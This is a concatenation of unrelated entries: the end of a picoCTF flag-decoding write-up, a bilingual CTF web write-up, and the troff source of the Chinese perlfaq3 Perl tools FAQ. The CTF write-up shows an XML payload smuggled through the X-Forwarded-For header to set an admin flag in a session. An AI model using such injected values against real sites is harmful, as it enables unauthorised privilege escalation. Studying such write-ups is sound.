>>> flag = "112 105 99 111 67 84 70 123 98 52 100 95 98 114 111 103 114 97 109 109 101 114 95 55 57 55 98 50 57 50 99 125".split(" ")
>>> "".join(chr(int(c)) for c in flag)
'picoCTF{b4d_brogrammer_797b292c}'
```
The flag: `picoCTF{b4d_brogrammer_797b292c}`
|
sec-knowleage
|
## Free Web Access (Web)
###ENG
[PL](#pl-version)
In the task we get access to a proxy-gate service.
The task description states that this gate is not really anonymous and that it stores some data.
However there is no registration nor accounts.
There is `/admin` subpage but it says that we're not the admin so we can't access it.
This implies that the page somehow checks who is the admin, and we need to fool this mechanism.
The website prints in a visible way our IP address and since it's a proxy service we come up with the idea to check how it will consider `X-Forwarded-For` header.
As we expected, the page prints the specified address as our IP.
We assumed that we just need to use localhost as our IP and this will get us past the admin check, but it didn't.
Then we figured that maybe we can put some code in our spoofed IP address and this way exploit the page.
We started with a standard PHP exploit: `<? echo "test"; ?>` which didn't work, since the page was running on Python.
But it did crash the page, showing us a very verbose error trace:

The interesting part was what crashed the XML parser:
`<session><ip><? echo "test"; ?></ip><admin>false</admin></session>`
It seems that the page creates a session string based on our data and then parses it via XML.
Therefore we can simply pass XML as our IP: `1.2.3.4</ip><admin>true</admin><ip>4.3.2.1`
Which in result will generate session XML:
`<session><ip>1.2.3.4</ip><admin>true</admin><ip>4.3.2.1</ip><admin>false</admin></session>`
And we expect this will be enough to get past the admin check. And it did:

`CTF-BR{1s_Pr1v4Cy_4_DR34M_?}`
###PL version
W zadaniu dostajemy dostęp do bramki-proxy.
W opisie zadania jest informacja że bramka nie jest wcale anonimowa i że agreguje dane.
Nie ma tam jednak żadej rejestracji ani logowania.
Jest coś pod adresem `/admin` ale pojawia sie informacja że nie jesteśmy administratorem.
To oznacza że istnieje mechanizm sprawdzania czy ktoś jest adminem i musimy go jakoś oszukać.
Strona w widocznym miejscu pokazuje nasz adres IP oraz jest to serwis proxy więc przychodzi nam na myśl sprawdzenie co się stanie jeśli podamy nagłówek `X-Forwarded-For`.
Zgodnie z naszymi oczekiwaniami strona pokazuje nasz zmieniony adres w miejscu adresu IP.
Początkowo liczyliśmy na to, że wystarczy udawać że nasze IP to localhost aby przejść test na admina, ale nie powiodło się to.
Następnie pomyśleliśmy, że może jesteśmy w stanie przemycić jakiś kod w naszym spoofowanym IP i w ten sposób exploitować stronę.
Zaczęliśmy od standardowego exploita na PHP: `<? echo "test"; ?>` który nie zadziałał, bo strona była w Pythonie.
Niemniej przypadkiem ten kod wysypał parser XML pokazując nam dość ładny trace:

Interesujące jest to co wysypało parser XML:
`<session><ip><? echo "test"; ?></ip><admin>false</admin></session>`
Wygląda na to, że strona tworzy sobie string sesji na podstawie naszych danych a następnie parsuje go jako XML.
To oznacza że możeym jako IP podać: `1.2.3.4</ip><admin>true</admin><ip>4.3.2.1`
Co utworzy string sesji:
`<session><ip>1.2.3.4</ip><admin>true</admin><ip>4.3.2.1</ip><admin>false</admin></session>`
Oczekiwaliśmy że taki string wystarczy do przejścia sprawdzenia uprawnień admina i się udało:

`CTF-BR{1s_Pr1v4Cy_4_DR34M_?}`
|
sec-knowleage
|
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.14
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings. \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote. | will give a
.\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to
.\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
. ds -- \(*W-
. ds PI pi
. if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
. if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch
. ds L" ""
. ds R" ""
. ds C` ""
. ds C' ""
'br\}
.el\{\
. ds -- \|\(em\|
. ds PI \(*p
. ds L" ``
. ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD. Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
. de IX
. tm Index:\\$1\t\\n%\t"\\$2"
..
. nr % 0
. rr F
.\}
.\"
.\" For nroff, turn off justification. Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear. Run. Save yourself. No user-serviceable parts.
. \" fudge factors for nroff and troff
.if n \{\
. ds #H 0
. ds #V .8m
. ds #F .3m
. ds #[ \f1
. ds #] \fP
.\}
.if t \{\
. ds #H ((1u-(\\\\n(.fu%2u))*.13m)
. ds #V .6m
. ds #F 0
. ds #[ \&
. ds #] \&
.\}
. \" simple accents for nroff and troff
.if n \{\
. ds ' \&
. ds ` \&
. ds ^ \&
. ds , \&
. ds ~ ~
. ds /
.\}
.if t \{\
. ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
. ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
. ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
. ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
. ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
. ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
. \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
. \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
. \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
. ds : e
. ds 8 ss
. ds o a
. ds d- d\h'-1'\(ga
. ds D- D\h'-1'\(hy
. ds th \o'bp'
. ds Th \o'LP'
. ds ae ae
. ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "PERLFAQ3 1"
.TH PERLFAQ3 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide"
.SH "NAME"
perlfaq3 \- 编程工具 (2003/11/24 19:55:50)
.SH "DESCRIPTION 描述"
.IX Header "DESCRIPTION"
编程工具和编程支持
.Sh "我如何作 (任何事)?"
.IX Subsection "How do I do (anything)?"
你到 CPAN(见 perlfaq2)找过了吗?也许别人已经写了某个模组可以解决你的问题。你查过相关的说明文件了吗 (man pages)?以下是一份概要的索引:
.PP
.Vb 12
\& 基础Basics perldata, perlvar, perlsyn, perlop, perlsub
\& 执行Execution perlrun, perldebug
\& 函数Functions perlfunc
\& 对象Objects perlref, perlmod, perlobj, perltie
\& 数据结构Data Structures perlref, perllol, perldsc
\& 模块Modules perlmod, perlmodlib, perlsub
\& 正则表达式Regexes perlre, perlfunc, perlop, perllocale
\& 移植Moving to perl5 perltrap, perl
\& 连接Linking w/C perlxstut, perlxs, perlcall, perlguts, perlembed
\& 其他Various http://www.cpan.org/misc/olddoc/FMTEYEWTK.tgz
\& (这不是一个手册页,但是仍然很有用
\& 是有关 Perl 技术的大量技巧)
.Ve
.PP
perltoc里有一份粗略的 perl 说明文件组的目录
.Sh "如何以交互的方式使用 Perl?"
.IX Subsection "How can I use Perl interactively?"
典型的作法是使用 perldebug(1)说明文件里提到的 Perl 除虫器,在一个「空的」(译者:即不存在的)程式上执行,像这样:
.PP
.Vb 1
\& perl -de 42
.Ve
.PP
接下来所打入的任意合法 Perl程式码皆会立刻被计算。同时,你可以检查符号表 (symbol table)、取得堆叠的记录 (stack backtraces)、检视变数值、设定阻断点 (set breakpoints) 以及其他符号式除虫器 (symbolic debuggers) 所能作的动作。
.Sh "有 Perl shell吗?"
.IX Subsection "Is there a Perl shell?"
The psh (Perl sh) is currently at version 1.8. The Perl Shell is a
shell that combines the interactive nature of a Unix shell with the
power of Perl. The goal is a full featured shell that behaves as
expected for normal shell activity and uses Perl syntax and
functionality for control-flow statements and other things.
You can get psh at http://www.focusresearch.com/gregor/psh/ .
.PP
Zoidberg is a similar project and provides a shell written in perl,
configured in perl and operated in perl. It is intended as a login shell
and development environment. It can be found at http://zoidberg.sf.net/
or your local \s-1CPAN\s0 mirror.
.PP
The Shell.pm module (distributed with Perl) makes Perl try commands
which aren't part of the Perl language as shell commands. perlsh
from the source distribution is simplistic and uninteresting, but
may still be what you want.
.Sh "怎样查找我的系统中安装了哪些模块?"
.IX Subsection "How do I find which modules are installed on my system?"
You can use the ExtUtils::Installed module to show all
installed distributions, although it can take awhile to do
its magic. The standard library which comes with Perl just
shows up as \*(L"Perl\*(R" (although you can get those with
Module::CoreList).
.PP
.Vb 1
\& use ExtUtils::Installed;
.Ve
.PP
.Vb 2
\& my $inst = ExtUtils::Installed->new();
\& my @modules = $inst->modules();
.Ve
.PP
If you want a list of all of the Perl module filenames, you
can use File::Find::Rule.
.PP
.Vb 1
\& use File::Find::Rule;
.Ve
.PP
.Vb 1
\& my @files = File::Find::Rule->file()->name( '*.pm' )->in( @INC );
.Ve
.PP
If you do not have that module, you can do the same thing
with File::Find which is part of the standard library.
.PP
.Vb 2
\& use File::Find;
\& my @files;
.Ve
.PP
.Vb 2
\& find sub { push @files, $File::Find::name if -f _ && /\e.pm$/ },
\& @INC;
.Ve
.PP
.Vb 1
\& print join "\en", @files;
.Ve
.PP
If you simply need to quickly check to see if a module is
available, you can check for its documentation. If you can
read the documentation the module is most likely installed.
If you cannot read the documentation, the module might not
have any (in rare cases).
.PP
.Vb 1
\& prompt% perldoc Module::Name
.Ve
.PP
You can also try to include the module in a one-liner to see if
perl finds it.
.PP
.Vb 1
\& perl -MModule::Name -e1
.Ve
.Sh "如何替我的 Perl 程式除虫?"
.IX Subsection "How do I debug my Perl programs?"
你用过 \f(CW\*(C`use warnings\*(C'\fR 或 \f(CW\*(C`\-w\*(C'\fR 吗?它们启用警告模式,来检测不确定的代码。
.PP
你用过 \f(CW\*(C`use strict\*(C'\fR 吗?It prevents you from using symbolic
references, makes you predeclare any subroutines that you call as bare
words, and (probably most importantly) forces you to predeclare your
variables with \f(CW\*(C`my\*(C'\fR, \f(CW\*(C`our\*(C'\fR, or \f(CW\*(C`use vars\*(C'\fR.
.PP
Did you check the return values of each and every system call? The operating
system (and thus Perl) tells you whether they worked, and if not
why.
.PP
.Vb 2
\& open(FH, "> /etc/cantwrite")
\& or die "Couldn't write to /etc/cantwrite: $!\en";
.Ve
.PP
Did you read perltrap? It's full of gotchas for old and new Perl
programmers and even has sections for those of you who are upgrading
from languages like \fIawk\fR and \fIC\fR.
.PP
Have you tried the Perl debugger, described in perldebug? You can
step through your program and see what it's doing and thus work out
why what it's doing isn't what it should be doing.
.Sh "如何检测 (profile) 我的 perl 程式?"
.IX Subsection "How do I profile my Perl programs?"
你该自 CPAN抓取 Devel::DProf 模组,并且使用 perl 标准套件所附的 Benchmark.pm。 Benchmark.pm让你测量程式码的某部份在执行上所花的时间,而 Devel::DProf则详细地替你分析哪一部份的程式用掉多少时间。
.PP
Here's a sample use of Benchmark:
.PP
.Vb 1
\& use Benchmark;
.Ve
.PP
.Vb 2
\& @junk = `cat /etc/motd`;
\& $count = 10_000;
.Ve
.PP
.Vb 8
\& timethese($count, {
\& 'map' => sub { my @a = @junk;
\& map { s/a/b/ } @a;
\& return @a },
\& 'for' => sub { my @a = @junk;
\& for (@a) { s/a/b/ };
\& return @a },
\& });
.Ve
.PP
This is what it prints (on one machine\*(--your results will be dependent
on your hardware, operating system, and the load on your machine):
.PP
.Vb 3
\& Benchmark: timing 10000 iterations of for, map...
\& for: 4 secs ( 3.97 usr 0.01 sys = 3.98 cpu)
\& map: 6 secs ( 4.97 usr 0.00 sys = 4.97 cpu)
.Ve
.PP
Be aware that a good benchmark is very hard to write. It only tests the
data you give it and proves little about the differing complexities
of contrasting algorithms.
.Sh "如何替我的 Perl程式作交叉参考?"
.IX Subsection "How do I cross-reference my Perl programs?"
B::Xref模组可 以替你的 Perl程式制作 cross-reference报告。用法是:
.PP
.Vb 1
\& perl -MO=Xref[,OPTIONS] scriptname.plx
.Ve
.Sh "有 Perl专用的美化列印程式吗?"
.IX Subsection "Is there a pretty-printer (formatter) for Perl?"
Perltidy is a Perl script which indents and reformats Perl scripts
to make them easier to read by trying to follow the rules of the
perlstyle. If you write Perl scripts, or spend much time reading
them, you will probably find it useful. It is available at
http://perltidy.sourceforge.net
.PP
Of course, if you simply follow the guidelines in perlstyle,
you shouldn't need to reformat. The habit of formatting your code
as you write it will help prevent bugs. Your editor can and should
help you with this. The perl-mode or newer cperl-mode for emacs
can provide remarkable amounts of help with most (but not all)
code, and even less programmable editors can provide significant
assistance. Tom Christiansen and many other \s-1VI\s0 users swear by
the following settings in vi and its clones:
.PP
.Vb 2
\& set ai sw=4
\& map! ^O {^M}^[O^T
.Ve
.PP
Put that in your \fI.exrc\fR file (replacing the caret characters
with control characters) and away you go. In insert mode, ^T is
for indenting, ^D is for undenting, and ^O is for blockdenting\*(--
as it were. A more complete example, with comments, can be found at
http://www.cpan.org/authors/id/TOMC/scripts/toms.exrc.gz
.PP
The a2ps http://www\-inf.enst.fr/%7Edemaille/a2ps/black+white.ps.gz does
lots of things related to generating nicely printed output of
documents, as does enscript at http://people.ssh.fi/mtr/genscript/ .
.Sh "有 Perl的 ctags 吗?"
.IX Subsection "Is there a ctags for Perl?"
Recent versions of ctags do much more than older versions did.
\&\s-1EXUBERANT\s0 \s-1CTAGS\s0 is available from http://ctags.sourceforge.net/
and does a good job of making tags files for perl code.
.PP
There is also a simple one at
http://www.cpan.org/authors/id/TOMC/scripts/ptags.gz which may do
the trick. It can be easy to hack this into what you want.
.Sh "Is there an \s-1IDE\s0 or Windows Perl Editor?"
.IX Subsection "Is there an IDE or Windows Perl Editor?"
Perl programs are just plain text, so any editor will do.
.PP
If you're on Unix, you already have an IDE\*(--Unix itself. The \s-1UNIX\s0
philosophy is the philosophy of several small tools that each do one
thing and do it well. It's like a carpenter's toolbox.
.PP
If you want an \s-1IDE\s0, check the following:
.IP "Komodo" 4
.IX Item "Komodo"
ActiveState's cross-platform (as of April 2001 Windows and Linux),
multi-language \s-1IDE\s0 has Perl support, including a regular expression
debugger and remote debugging
( http://www.ActiveState.com/Products/Komodo/index.html ). (Visual
Perl, a Visual Studio.NET plug-in is currently (early 2001) in beta
( http://www.ActiveState.com/Products/VisualPerl/index.html )).
.IP "The Object System" 4
.IX Item "The Object System"
( http://www.castlelink.co.uk/object_system/ ) is a Perl web
applications development \s-1IDE\s0, apparently for any platform
that runs Perl.
.IP "Open Perl \s-1IDE\s0" 4
.IX Item "Open Perl IDE"
( http://open\-perl\-ide.sourceforge.net/ )
Open Perl \s-1IDE\s0 is an integrated development environment for writing
and debugging Perl scripts with ActiveState's ActivePerl distribution
under Windows 95/98/NT/2000.
.IP "PerlBuilder" 4
.IX Item "PerlBuilder"
( http://www.solutionsoft.com/perl.htm ) is an integrated development
environment for Windows that supports Perl development.
.IP "visiPerl+" 4
.IX Item "visiPerl+"
( http://helpconsulting.net/visiperl/ )
From Help Consulting, for Windows.
.IP "OptiPerl" 4
.IX Item "OptiPerl"
( http://www.optiperl.com/ ) is a Windows \s-1IDE\s0 with simulated \s-1CGI\s0
environment, including debugger and syntax highlighting editor.
.PP
For editors: if you're on Unix you probably have vi or a vi clone already,
and possibly an emacs too, so you may not need to download anything.
In any emacs the cperl-mode (M\-x cperl\-mode) gives you perhaps the
best available Perl editing mode in any editor.
.PP
If you are using Windows, you can use any editor that lets
you work with plain text, such as NotePad or WordPad. Word
processors, such as Microsoft Word or WordPerfect, typically
do not work since they insert all sorts of behind-the-scenes
information, although some allow you to save files as \*(L"Text
Only\*(R". You can also download text editors designed
specifically for programming, such as Textpad
( http://www.textpad.com/ ) and UltraEdit
( http://www.ultraedit.com/ ), among others.
.PP
If you are using MacOS, the same concerns apply. MacPerl
(for Classic environments) comes with a simple editor.
Popular external editors are BBEdit ( http://www.bbedit.com/ )
or Alpha ( http://www.kelehers.org/alpha/ ). MacOS X users can
use Unix editors as well.
.IP "\s-1GNU\s0 Emacs" 4
.IX Item "GNU Emacs"
http://www.gnu.org/software/emacs/windows/ntemacs.html
.IP "MicroEMACS" 4
.IX Item "MicroEMACS"
http://www.microemacs.de/
.IP "XEmacs" 4
.IX Item "XEmacs"
http://www.xemacs.org/Download/index.html
.IP "Jed" 4
.IX Item "Jed"
http://space.mit.edu/~davis/jed/
.PP
or a vi clone such as
.IP "Elvis" 4
.IX Item "Elvis"
ftp://ftp.cs.pdx.edu/pub/elvis/ http://www.fh\-wedel.de/elvis/
.IP "Vile" 4
.IX Item "Vile"
http://dickey.his.com/vile/vile.html
.IP "Vim" 4
.IX Item "Vim"
http://www.vim.org/
.PP
For vi lovers in general, Windows or elsewhere:
.PP
.Vb 1
\& http://www.thomer.com/thomer/vi/vi.html
.Ve
.PP
nvi ( http://www.bostic.com/vi/ , available from \s-1CPAN\s0 in src/misc/) is
yet another vi clone, unfortunately not available for Windows, but in
\&\s-1UNIX\s0 platforms you might be interested in trying it out, firstly because
strictly speaking it is not a vi clone, it is the real vi, or the new
incarnation of it, and secondly because you can embed Perl inside it
to use Perl as the scripting language. nvi is not alone in this,
though: at least also vim and vile offer an embedded Perl.
.PP
The following are Win32 multilanguage editor/IDESs that support Perl:
.IP "Codewright" 4
.IX Item "Codewright"
http://www.starbase.com/
.IP "MultiEdit" 4
.IX Item "MultiEdit"
http://www.MultiEdit.com/
.IP "SlickEdit" 4
.IX Item "SlickEdit"
http://www.slickedit.com/
.PP
There is also a toyedit Text widget based editor written in Perl
that is distributed with the Tk module on \s-1CPAN\s0. The ptkdb
( http://world.std.com/~aep/ptkdb/ ) is a Perl/tk based debugger that
acts as a development environment of sorts. Perl Composer
( http://perlcomposer.sourceforge.net/ ) is an \s-1IDE\s0 for Perl/Tk
\&\s-1GUI\s0 creation.
.PP
In addition to an editor/IDE you might be interested in a more
powerful shell environment for Win32. Your options include
.IP "Bash" 4
.IX Item "Bash"
from the Cygwin package ( http://sources.redhat.com/cygwin/ )
.IP "Ksh" 4
.IX Item "Ksh"
from the \s-1MKS\s0 Toolkit ( http://www.mks.com/ ), or the Bourne shell of
the U/WIN environment ( http://www.research.att.com/sw/tools/uwin/ )
.IP "Tcsh" 4
.IX Item "Tcsh"
ftp://ftp.astron.com/pub/tcsh/ , see also
http://www.primate.wisc.edu/software/csh\-tcsh\-book/
.IP "Zsh" 4
.IX Item "Zsh"
ftp://ftp.blarg.net/users/amol/zsh/ , see also http://www.zsh.org/
.PP
\&\s-1MKS\s0 and U/WIN are commercial (U/WIN is free for educational and
research purposes), Cygwin is covered by the \s-1GNU\s0 Public License (but
that shouldn't matter for Perl use). The Cygwin, \s-1MKS\s0, and U/WIN all
contain (in addition to the shells) a comprehensive set of standard
\&\s-1UNIX\s0 toolkit utilities.
.PP
If you're transferring text files between Unix and Windows using \s-1FTP\s0
be sure to transfer them in \s-1ASCII\s0 mode so the ends of lines are
appropriately converted.
.PP
On Mac \s-1OS\s0 the MacPerl Application comes with a simple 32k text editor
that behaves like a rudimentary \s-1IDE\s0. In contrast to the MacPerl Application
the \s-1MPW\s0 Perl tool can make use of the \s-1MPW\s0 Shell itself as an editor (with
no 32k limit).
.IP "BBEdit and BBEdit Lite" 4
.IX Item "BBEdit and BBEdit Lite"
are text editors for Mac \s-1OS\s0 that have a Perl sensitivity mode
( http://web.barebones.com/ ).
.IP "Alpha" 4
.IX Item "Alpha"
is an editor, written and extensible in Tcl, that nonetheless has
built in support for several popular markup and programming languages
including Perl and \s-1HTML\s0 ( http://alpha.olm.net/ ).
.PP
Pepper and Pe are programming language sensitive text editors for Mac
\&\s-1OS\s0 X and BeOS respectively ( http://www.hekkelman.com/ ).
.Sh "哪儿有 vi 用的 Perl 宏?"
.IX Subsection "Where can I get Perl macros for vi?"
For a complete version of Tom Christiansen's vi configuration file,
see http://www.cpan.org/authors/Tom_Christiansen/scripts/toms.exrc.gz ,
the standard benchmark file for vi emulators. The file runs best with nvi,
the current version of vi out of Berkeley, which incidentally can be built
with an embedded Perl interpreter\*(--see http://www.cpan.org/src/misc/ .
.Sh "给 emacs用的 perl模式又要去哪抓呢?"
.IX Subsection "Where can I get perl-mode for emacs?"
从大约 Emacs 19.22版 (version 19 patchlevel 22)起,已内含了 perl-mode.el及 perl 除虫器的支援。它们应该会和标准的 Emacs 19版一起出货。
.PP
在 perl原始码的目录下,你会找到一个叫作 ``emacs'' 的目录,里面包括一个 cperl-mode 可以把程式中的关键字上色、提供内文相关的协助以及其它方便的功能。
.PP
注意:``main'foo''(其中的单引号)会让 emacs的 perl-mode 出问题,并且会弄乱内 缩 (indentation) 与高亮 (hilighting)。不过你本来就该用 ``main::foo''的 (译者按: main'foo 是表示模组或 package的旧式写法;新式的 [perl5的]写法是 main::foo)。
.Sh "如何在 Perl里使用 curses?"
.IX Subsection "How can I use curses with Perl?"
The Curses module from \s-1CPAN\s0 provides a dynamically loadable object
module interface to a curses library. A small demo can be found at the
directory http://www.cpan.org/authors/Tom_Christiansen/scripts/rep.gz ;
this program repeats a command and updates the screen as needed, rendering
\&\fBrep ps axu\fR similar to \fBtop\fR.
.Sh "X或 Tk如何与 Perl配合呢?"
.IX Subsection "How can I use X or Tk with Perl?"
Tk 模块是一个完全以 Perl 为基础,面向对象的接口,让你不用学 Tcl也可以使用 Tk工具组。Sx则是 Athena Widget set专用的介面。两者都可在 CPAN取得。参见分类 http://www.cpan.org/modules/by\-category/08_User_Interfaces/
.PP
Invaluable for Perl/Tk programming are the Perl/Tk \s-1FAQ\s0 at
http://w4.lns.cornell.edu/%7Epvhp/ptk/ptkTOC.html , the Perl/Tk Reference
Guide available at
http://www.cpan.org/authors/Stephen_O_Lidie/ , and the
online manpages at
http://www\-users.cs.umn.edu/%7Eamundson/perl/perltk/toc.html .
.Sh "如何不靠 CGI或 Tk 帮助作出简单的目录(选单)?"
.IX Subsection "How can I generate simple menus without using CGI or Tk?"
http://www.cpan.org/authors/id/SKUNZ/perlmenu.v4.0.tar.gz
是个以 curses为基础的模组,可以达成你的要求。
.Sh "如何让我的 Perl程式跑得更快些?"
.IX Subsection "How can I make my Perl program run faster?"
最好是能设计一个较好的演算法 (algorithm),这通常会让程式有大不相同的表现。Jon Bentley's book \fIProgramming Pearls\fR (没有拼写错误!) 中有些你或许想知道的增进效率小技巧。
Advice on benchmarking boils down to: benchmark
and profile to make sure you're optimizing the right part, look for
better algorithms instead of microtuning your code, and when all else
fails consider just buying faster hardware. You will probably want to
read the answer to the earlier question ``How do I profile my Perl
programs?'' if you haven't done so already.
.PP
其它方法包括自动载入较少使用的 Perl 程式码。请参看标准 perl 套件中的 AutoSplit及 AutoLoader模组的用法。或当你能断定程式执行效率的瓶颈在何处时,用 C来写那个部份,就像用组合语言来撰写 C程式的瓶颈部份一样。与此法相近的是使用以 C撰写瓶 颈部份的模组 (例如 CPAN中的 PDL 模组)。
.PP
如果你目前是将你的 perl直译器动态连结到 libc.so的话,重新作一份静态连结到 libc.a的 perl直译器可以提高 10-25%的执行效能。虽然这会使你的 perl直译器变得更胖,但你的 Perl程式 (及程式设计者) 或许会因此而感谢你。详情请参考 perl标准套件原始码版本中的 INSTALL 档案。
.PP
使用 undump程式把编译後的档案格式存到硬碟里以加快执行的速度已经是老掉牙的手法了。它已不再是个可行的方法,因为这方法只有几种平台能用,况且它终究不是个治本之 道。
.Sh "如何让我的 Perl 程序少用一些内存?"
.IX Subsection "How can I make my Perl program take less memory?"
当问题变成时间与空间的交易时, Perl 几乎总是用记忆体来帮忙解决问题。 Perl中的纯量 (Scalar) 耗掉的记忆体比 C中的字串形态还多,阵列又更多, 更别谈杂凑阵列了 (Hashes)。关於这一点,我们当然还有很多工作得作,近来发布的版本,已开始针对这些问题做改进了。例如, 5.004 版中, 重复的散列键 (duplicate hash keys) 由使用它的杂凑阵列共用,这样就不用再重新定份位置给它了。
.PP
在某些情况下,使用 substr()或 vec()来模拟数组有很大的好处。例如,一个有上千 个布林代数值的阵列将占用至少 20,000位元组的空间,但是它可以被转变为一个 125位元组的位元向量 (bit vector)以节省相当可观的记忆体。标准套件中的 Tie::SubstrHash模组也能够帮助特定形态的资料结构节省些记忆体。若你正在和一些特殊的资料结构奋战 (例如,矩阵),用 C写的模组所耗掉的记忆体可能低於同功能并用 Perl写的模组。
.PP
另一件值得一试的是,查一下你的 Perl是以系统内的 malloc 还是 Perl内含的 malloc 编译起来的。不论是哪个,试着换成另一个,再看看这是否造成任何差别。关於 malloc的资讯可在 perl标准套件原始码版中的 INSTALL 档案找到。键入 \f(CW\*(C`perl \-V:usemymalloc\*(C'\fR. 就可以知道你是否在使用 perl的 malloc。
.PP
Of course, the best way to save memory is to not do anything to waste
it in the first place. Good programming practices can go a long way
toward this:
.IP "* Don't slurp!" 4
.IX Item "Don't slurp!"
Don't read an entire file into memory if you can process it line
by line. Or more concretely, use a loop like this:
.Sp
.Vb 6
\& #
\& # Good Idea
\& #
\& while (<FILE>) {
\& # ...
\& }
.Ve
.Sp
instead of this:
.Sp
.Vb 7
\& #
\& # Bad Idea
\& #
\& @data = <FILE>;
\& foreach (@data) {
\& # ...
\& }
.Ve
.Sp
When the files you're processing are small, it doesn't much matter which
way you do it, but it makes a huge difference when they start getting
larger.
.IP "* Use map and grep selectively" 4
.IX Item "Use map and grep selectively"
Remember that both map and grep expect a \s-1LIST\s0 argument, so doing this:
.Sp
.Vb 1
\& @wanted = grep {/pattern/} <FILE>;
.Ve
.Sp
will cause the entire file to be slurped. For large files, it's better
to loop:
.Sp
.Vb 3
\& while (<FILE>) {
\& push(@wanted, $_) if /pattern/;
\& }
.Ve
.IP "* Avoid unnecessary quotes and stringification" 4
.IX Item "Avoid unnecessary quotes and stringification"
Don't quote large strings unless absolutely necessary:
.Sp
.Vb 1
\& my $copy = "$large_string";
.Ve
.Sp
makes 2 copies of \f(CW$large_string\fR (one for \f(CW$copy\fR and another for the
quotes), whereas
.Sp
.Vb 1
\& my $copy = $large_string;
.Ve
.Sp
only makes one copy.
.Sp
Ditto for stringifying large arrays:
.Sp
.Vb 4
\& {
\& local $, = "\en";
\& print @big_array;
\& }
.Ve
.Sp
is much more memory-efficient than either
.Sp
.Vb 1
\& print join "\en", @big_array;
.Ve
.Sp
or
.Sp
.Vb 4
\& {
\& local $" = "\en";
\& print "@big_array";
\& }
.Ve
.IP "* Pass by reference" 4
.IX Item "Pass by reference"
Pass arrays and hashes by reference, not by value. For one thing, it's
the only way to pass multiple lists or hashes (or both) in a single
call/return. It also avoids creating a copy of all the contents. This
requires some judgment, however, because any changes will be propagated
back to the original data. If you really want to mangle (er, modify) a
copy, you'll have to sacrifice the memory needed to make one.
.IP "* Tie large variables to disk." 4
.IX Item "Tie large variables to disk."
For \*(L"big\*(R" data stores (i.e. ones that exceed available memory) consider
using one of the \s-1DB\s0 modules to store it on disk instead of in \s-1RAM\s0. This
will incur a penalty in access time, but that's probably better than
causing your hard disk to thrash due to massive swapping.
.Sh "把局部变量的引用返回是不安全的做法吗?"
.IX Subsection "Is it safe to return a reference to local or lexical data?"
这样是安全的,Perl的资源回收 (garbage collection)系统会解决此问题。
.PP
.Vb 4
\& sub makeone {
\& my @a = ( 1 .. 10 );
\& return \e@a;
\& }
.Ve
.PP
.Vb 3
\& for ( 1 .. 10 ) {
\& push @many, makeone();
\& }
.Ve
.PP
.Vb 1
\& print $many[4][5], "\en";
.Ve
.PP
.Vb 1
\& print "@many\en";
.Ve
.Sh "我如何释放一个数组或散列以缩小我的程式尺寸?"
.IX Subsection "How can I free an array or hash so my program shrinks?"
你无法这麽作。系统配置给程式的记忆体是覆水难收。这也是为何执行很长一段时间的程式有时会重新执行 (re-exec)它们自己的原因。
Some operating systems (notably, systems that
use \fImmap\fR\|(2) for allocating large chunks of memory) can
reclaim memory that is no longer used, but on such systems,
perl must be configured and compiled to use the \s-1OS\s0's malloc,
not perl's.
.PP
